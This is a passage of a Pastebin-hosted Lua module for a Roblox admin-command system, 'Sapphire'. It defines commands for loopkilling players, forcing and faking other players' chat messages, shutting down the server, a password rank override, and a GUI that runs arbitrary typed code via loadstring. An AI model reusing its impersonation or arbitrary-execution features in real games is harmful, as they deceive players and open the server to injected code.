  821. local LoginButton = Instance.new("TextButton")
  822. local CancelButton = Instance.new("TextButton")
  823. local TextLabel = Instance.new("TextLabel")
  824.  
  825. -- Properties
  826.  
  827. Interface.Name = "Interface"
  828. Interface.Parent = player.PlayerGui
  829.  
  830. Body.Name = "Body"
  831. Body.Parent = Interface
  832. Body.BackgroundColor3 = Color3.new(0, 0, 0)
  833. Body.BackgroundTransparency = 0.5
  834. Body.Position = UDim2.new(0.5, -150, 0.5, -150)
  835. Body.Size = UDim2.new(0, 300, 0, 300)
  836.  
  837. head.Name = "head"
  838. head.Parent = Body
  839. head.BackgroundColor3 = Color3.new(1, 1, 1)
  840. head.BackgroundTransparency = 1
  841. head.Position = UDim2.new(0.5, -150, 0, 0)
  842. head.Size = UDim2.new(0, 300, 0, 50)
  843. head.Font = Enum.Font.Highway
  844. head.FontSize = Enum.FontSize.Size28
  845. head.Text = "Sapphire Rank Override"
  846. head.TextColor3 = Color3.new(1, 1, 1)
  847. head.TextSize = 28
  848.  
  849. CodeInput.Name = "CodeInput"
  850. CodeInput.Parent = Body
  851. CodeInput.BackgroundColor3 = Color3.new(1, 1, 1)
  852. CodeInput.Position = UDim2.new(0.5, -75, 0, 100)
  853. CodeInput.Size = UDim2.new(0, 150, 0, 30)
  854. CodeInput.Font = Enum.Font.SourceSans
  855. CodeInput.FontSize = Enum.FontSize.Size14
  856. CodeInput.Text = "Login"
  857. CodeInput.TextScaled = true
  858. CodeInput.TextSize = 14
  859. CodeInput.TextWrapped = true
  860.  
  861. LoginButton.Name = "LoginButton"
  862. LoginButton.Parent = Body
  863. LoginButton.BackgroundColor3 = Color3.new(1, 1, 1)
  864. LoginButton.BackgroundTransparency = 1
  865. LoginButton.Position = UDim2.new(0, 25, 0, 150)
  866. LoginButton.Size = UDim2.new(0, 80, 0, 30)
  867. LoginButton.Font = Enum.Font.SourceSansBold
  868. LoginButton.FontSize = Enum.FontSize.Size28
  869. LoginButton.Text = "Login"
  870. LoginButton.TextColor3 = Color3.new(0.333333, 0.666667, 0)
  871. LoginButton.TextSize = 28
  872.  
  873. CancelButton.Name = "CancelButton"
  874. CancelButton.Parent = Body
  875. CancelButton.BackgroundColor3 = Color3.new(1, 1, 1)
  876. CancelButton.BackgroundTransparency = 1
  877. CancelButton.Position = UDim2.new(0, 200, 0, 150)
  878. CancelButton.Size = UDim2.new(0, 80, 0, 30)
  879. CancelButton.Font = Enum.Font.SourceSansBold
  880. CancelButton.FontSize = Enum.FontSize.Size28
  881. CancelButton.Text = "Cancel"
  882. CancelButton.TextColor3 = Color3.new(1, 0, 0)
  883. CancelButton.TextSize = 28
  884.  
  885. TextLabel.Parent = Body
  886. TextLabel.BackgroundColor3 = Color3.new(1, 1, 1)
  887. TextLabel.BackgroundTransparency = 1
  888. TextLabel.Position = UDim2.new(0.5, -100, 0, 40)
  889. TextLabel.Size = UDim2.new(0, 200, 0, 50)
  890. TextLabel.Font = Enum.Font.Highway
  891. TextLabel.FontSize = Enum.FontSize.Size24
  892. TextLabel.Text = "Please login to get rank 6."
  893. TextLabel.TextColor3 = Color3.new(1, 1, 1)
  894. TextLabel.TextSize = 24
  895.  
  896. LoginButton.MouseButton1Click:connect(function()
  897. if CodeInput.Text == Override then
  898. Interface:remove()
  899. SetRank(player, 7)
  900. else
  901. local WrongCode = Instance.new('TextLabel',Body)
  902. WrongCode.Name = "WrongCode"
  903. WrongCode.Parent = Body
  904. WrongCode.BackgroundColor3 = Color3.new(1, 1, 1)
  905. WrongCode.BackgroundTransparency = 1
  906. WrongCode.Position = UDim2.new(0, 50, 0, 200)
  907. WrongCode.Size = UDim2.new(0, 200, 0, 50)
  908. WrongCode.Font = Enum.Font.SourceSansBold
  909. WrongCode.FontSize = Enum.FontSize.Size24
  910. WrongCode.Text = "Wrong Code!"
  911. WrongCode.TextColor3 = Color3.new(1, 0, 0)
  912. WrongCode.TextSize = 24
  913. wait(3)
  914. WrongCode:remove()
  915. end
  916. end)
  917. CancelButton.MouseButton1Click:connect(function()
  918. Interface:remove()
  919. end)
  920. end)
  921.  
  922. NewCommand('WalkSpeed','ws',3,'Set someones walkspeed',function(player,message)
  923. local Split = message:find(Splitkey)
  924. local PreSplit = message:sub(1, Split - 1)
  925. local AfterSplit = message:sub(Split + 1)
  926. for _,plr in next,GetPlayers(player,PreSplit) do
  927. plr.Character.Humanoid.WalkSpeed = tonumber(AfterSplit)
  928. end
  929. end)
  930.  
  931. NewCommand('Jump Power','jp',3,'Set someones jumppower',function(player,message)
  932. local Split = message:find(Splitkey)
  933. local PreSplit = message:sub(1, Split - 1)
  934. local AfterSplit = message:sub(Split + 1)
  935. for _,plr in next,GetPlayers(player,PreSplit) do
  936. plr.Character.Humanoid.JumpPower = tonumber(AfterSplit)
  937. end
  938. end)
  939.  
  940.  
  941.  
  942. NewCommand('Get Ranked','ranked',0,'Get the ranked players',function(player,message)
  943. getRanked(player)
  944. end)
  945.  
  946. NewCommand("Force Chat","fchat",5,"Force someone to say something",function(player,message)
  947. local Split = message:find(Splitkey)
  948. local PreSplit = message:sub(1, Split - 1)
  949. local AfterSplit = message:sub(Split + 1)
  950. for _,plr in next,GetPlayers(player,PreSplit) do
  951. FC(plr, tostring(AfterSplit))
  952. end
  953. end)
  954.  
  955. NewCommand('Loopkill','lk',4,'Loopkill someone',function(player,message)
  956. for _,plr in next,GetPlayers(player,message) do
  957. while wait() do
  958. plr.Character.Humanoid.Health = 0
  959. end
  960. end
  961. end)
  962.  
  963.  
  964.  
  965.  
  966. NewCommand("Fake Chat","fake",5,"Fake a chat message",function(player,message)
  967. local Split = message:find(Splitkey)
  968. local PreSplit = message:sub(1, Split - 1)
  969. local AfterSplit = message:sub(Split + 1)
  970.  
  971. Services = setmetatable({},{__index=function(s,n)
  972. if n == "ChatService" then
  973. return require(game.ServerScriptService:WaitForChild("ChatServiceRunner"):WaitForChild("ChatService"));
  974. else
  975. return game:service(n)
  976. end
  977. end})
  978. local FakeChat = Services.ChatService:AddSpeaker(PreSplit)
  979.  
  980. if not Services.ChatService:GetChannel("All") then
  981. Services.ChatService:AddChannel("All")
  982. for i,v in next, game:service'Players':players() do
  983. if Services.ChatService:GetSpeaker(v.Name) then
  984. Services.ChatService:GetSpeaker(v.Name):JoinChannel("All")
  985. end
  986. end
  987. end
  988.  
  989. FakeChat:JoinChannel("All")
  990.  
  991.  
  992.  
  993. FakeChat:SayMessage(tostring(AfterSplit),"All")
  994.  
  995.  
  996. wait(0.01)
  997.  
  998. Services.ChatService:RemoveSpeaker(PreSplit)
  999. end)
  1000.  
  1001.  
  1002.  
  1003. NewCommand('No Loopkill','unlk',4,'UnLoopkill someone',function(player,message)
  1004. for _,plr in next,GetPlayers(player,message) do
  1005. plr.Character = nil
  1006. wait(0.3)
  1007. plr:LoadCharacter()
  1008. end
  1009. end)
  1010.  
  1011. NewCommand("Set Waves","wave",5,"Set if waves are on or off",function(player,message)
  1012. Output(player, 'Do you want waves on?','Institutional white')
  1013. Output(player, 'Yes','Lime green',function() Waves = true end)
  1014. Output(player, 'No','Really red',function() Waves = false end)
  1015. end)
  1016.  
  1017. NewCommand("Add Channel","add",6,"Add a channel to the chat system",function(player,message)
  1018. addChannel(message)
  1019. end)
  1020.  
  1021. NewCommand('Ping','ping',0,'Ping a message on a tablet',function(player,message)
  1022. Output(player, message, GetColor(player))
  1023. if message == "" then
  1024. Output(player, 'Sapphire', 'Lime green')
  1025. end
  1026. end)
  1027.  
  1028. NewCommand("Show Players","plrs", 4, "Show the players on the game",function(player,message)
  1029. getPlayers(player)
  1030. end)
  1031.  
  1032.  
  1033. NewCommand("Gear","gear",4,"Gear someone a tool",function(player,message)
  1034. local Split = message:find(Splitkey)
  1035. local PreSplit = message:sub(1, Split - 1)
  1036. local AfterSplit = message:sub(Split + 1)
  1037. for _,plr in next,GetPlayers(player,PreSplit) do
  1038. game:GetObjects("rbxassetid://"..tostring(AfterSplit))[1].Parent = plr.Backpack
  1039. end
  1040. end)
  1041.  
  1042. NewCommand('Shutdown','sd',5,'Shutdown the server',function(player,message)
  1043. for i,v in pairs(game.Players:GetPlayers()) do
  1044. v:kick('[Sapphire]: Server has been shutdown.')
  1045. end
  1046. end)
  1047.  
  1048. NewCommand("Script Executor GUI","exegui",5,"Give someone a script executor gui",function(player,message)
  1049. for _,plr in next,GetPlayers(player,message) do
  1050. -- Objects
  1051.  
  1052. local ScreenGui = Instance.new("ScreenGui")
  1053. local Frame = Instance.new("Frame")
  1054. local TextButton = Instance.new("TextButton")
  1055. local TextBox = Instance.new("TextBox")
  1056. local TextButton_2 = Instance.new("TextButton")
  1057. local TextButton_3 = Instance.new("TextButton")
  1058. local TextLabel = Instance.new('TextLabel')
  1059.  
  1060. -- Properties
  1061.  
  1062. ScreenGui.Parent = plr.PlayerGui
  1063.  
  1064. Frame.Parent = ScreenGui
  1065. Frame.BackgroundColor3 = Color3.new(0, 0, 0.498039)
  1066. Frame.BackgroundTransparency = 0.5
  1067. Frame.Draggable = true
  1068. Frame.Position = UDim2.new(0.5, -200, 0.5, -200)
  1069. Frame.Selectable = true
  1070. Frame.Size = UDim2.new(0, 400, 0, 400)
  1071. Frame.Visible = true
  1072.  
  1073. TextButton.Parent = Frame
  1074. TextButton.BackgroundColor3 = Color3.new(0, 0, 0)
  1075. TextButton.BackgroundTransparency = 0.60000002384186
  1076. TextButton.Position = UDim2.new(0, 380, 0, 0)
  1077. TextButton.Size = UDim2.new(0, 20, 0, 20)
  1078. TextButton.FontSize = Enum.FontSize.Size24
  1079. TextButton.Text = "-"
  1080. TextButton.TextColor3 = Color3.new(1, 1, 1)
  1081.  
  1082. TextBox.Parent = Frame
  1083. TextBox.BackgroundColor3 = Color3.new(1, 1, 1)
  1084. TextBox.Position = UDim2.new(0, 50, 0, 50)
  1085. TextBox.Size = UDim2.new(0, 300, 0, 250)
  1086. TextBox.ClearTextOnFocus = false
  1087. TextBox.Font = Enum.Font.SourceSans
  1088. TextBox.FontSize = Enum.FontSize.Size14
  1089. TextBox.MultiLine = true
  1090. TextBox.Text = "INPUT YOUR SCRIPT HERE"
  1091. TextBox.TextScaled = false
  1092. TextBox.TextWrapped = true
  1093. TextBox.TextXAlignment="Left"
  1094. TextBox.TextYAlignment="Top"
  1095.  
  1096. TextButton_2.Parent = Frame
  1097. TextButton_2.BackgroundColor3 = Color3.new(0, 0, 0)
  1098. TextButton_2.Position = UDim2.new(0, 50, 0, 330)
  1099. TextButton_2.Size = UDim2.new(0, 50, 0, 50)
  1100. TextButton_2.Font = Enum.Font.SourceSansBold
  1101. TextButton_2.FontSize = Enum.FontSize.Size24
  1102. TextButton_2.Text = "EXE"
  1103. TextButton_2.TextColor3 = Color3.new(1, 1, 1)
  1104.  
  1105. TextButton_3.Parent = Frame
  1106. TextButton_3.BackgroundColor3 = Color3.new(0.666667, 0, 0)
  1107. TextButton_3.Position = UDim2.new(0, 300, 0, 330)
  1108. TextButton_3.Size = UDim2.new(0, 50, 0, 50)
  1109. TextButton_3.Font = Enum.Font.SourceSansBold
  1110. TextButton_3.FontSize = Enum.FontSize.Size24
  1111. TextButton_3.Text = "CLR"
  1112. TextButton_3.TextColor3 = Color3.new(1, 1, 1)
  1113.  
  1114. TextLabel.Parent = Frame
  1115. TextLabel.Text = "SCRIPT EXECUTION GUI"
  1116. TextLabel.Size = UDim2.new(0, 380, 0, 20)
  1117. TextLabel.TextScaled = true
  1118. TextLabel.TextColor3 = Color3.new(255,255,255)
  1119. TextLabel.BackgroundTransparency = 1
  1120. TextLabel.Selectable = true
  1121. TextLabel.Draggable = true
  1122.  
  1123. TextButton.MouseButton1Click:connect(function()
  1124. if Frame.Size == UDim2.new(0, 400, 0, 400) then
  1125. Frame.Size = UDim2.new(0, 400, 0, 20)
  1126. TextButton.Text = "+"
  1127. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = false,false,false
  1128. else
  1129. Frame.Size = UDim2.new(0, 400, 0, 400)
  1130. TextButton.Text = "-"
  1131. TextBox.Visible,TextButton_2.Visible,TextButton_3.Visible = true,true,true
  1132. end
  1133. end)
  1134. TextButton_2.MouseButton1Click:connect(function()
  1135. local success,errored = loadstring(TextBox.Text)
  1136. if success and not errored then
  1137. success()
  1138. else
  1139. TextBox.Text = "Error: "..errored
  1140. end
  1141. end)
  1142.  
  1143. TextButton_3.MouseButton1Click:connect(function()
  1144. TextBox.Text = ""
  1145. end)
  1146. end
  1147. end)
  1148.  
  1149. NewCommand('Mute','mute',6,'Mute a player',function(player,message)
  1150. for _,plr in next,GetPlayers(player,message) do
  1151. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, false)', plr)
  1152. end
  1153. end)
  1154.  
  1155. NewCommand('UnMute','unmute',6,'UnMute a player',function(player,message)
  1156. for _,plr in next,GetPlayers(player,message) do
  1157. Sbexe('x/game.StarterGui:SetCoreGuiEnabled(Enum.CoreGuiType.All, true)', plr)
  1158. end
  1159. end)
  1160.  
  1161. NewCommand("Stun","stun",3,"Stun a player",function(player,message)
  1162. for _,plr in next,GetPlayers(player,message) do
  1163. plr.Character.Humanoid.PlatformStand = true
  1164. end
  1165. end)
  1166.  
  1167. NewCommand("Change Override Code","newcode",7,"Change the override code to Sapphire",function(player,message)
  1168. Override = message
  1169. end)
  1170.  
  1171. NewCommand("UnStun","unstun",3,"UnStun a player",function(player,message)
  1172. for _,plr in next,GetPlayers(player,message) do
  1173. plr.Character.Humanoid.PlatformStand = false
  1174. end
  1175. end)
  1176.  
  1177. --Loadup--
  1178.  
  1179. for i,v in pairs(game.Players:GetPlayers()) do
  1180. Output(v, 'Welcome to Sapphire, '..v.Name..'!',GetColor(v))
  1181. Output(v, 'Your rank is: '..GetRank(v),'Deep orange')
  1182. Output(v, 'Click to show commands','Bright green',function() Commands_E(v) end)
  1183. Output(v, 'Dismiss','Really red',function() Dismiss(v) end)
  1184. Output(v, 'Your suffix is '..GetSuffix(v), 'Cyan')
  1185.  
  1186. if GetRank(v) >= 1 then
  1187. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1188. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1189. else
  1190. Services.ChatService:GetSpeaker(v.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1191. Services.ChatService:GetSpeaker(v.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1192. end
  1193.  
  1194. v.Chatted:connect(function(m)
  1195. Chatted(v, m)
  1196. end)
  1197. end
  1198.  
  1199. function setChatColor(player)
  1200. pcall(function()
  1201. coroutine.wrap(function()
  1202. if GetRank(player) >= 1 then
  1203. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 170, 0, 127))
  1204. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 255, 255, 0))
  1205. else
  1206. Services.ChatService:GetSpeaker(player.Name):SetExtraData("NameColor", Color3.new( 0, 170, 255))
  1207. Services.ChatService:GetSpeaker(player.Name):SetExtraData("ChatColor", Color3.new( 0, 180, 0))
  1208. end
  1209. end)()
  1210. end)
  1211. end
  1212.  
  1213. return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement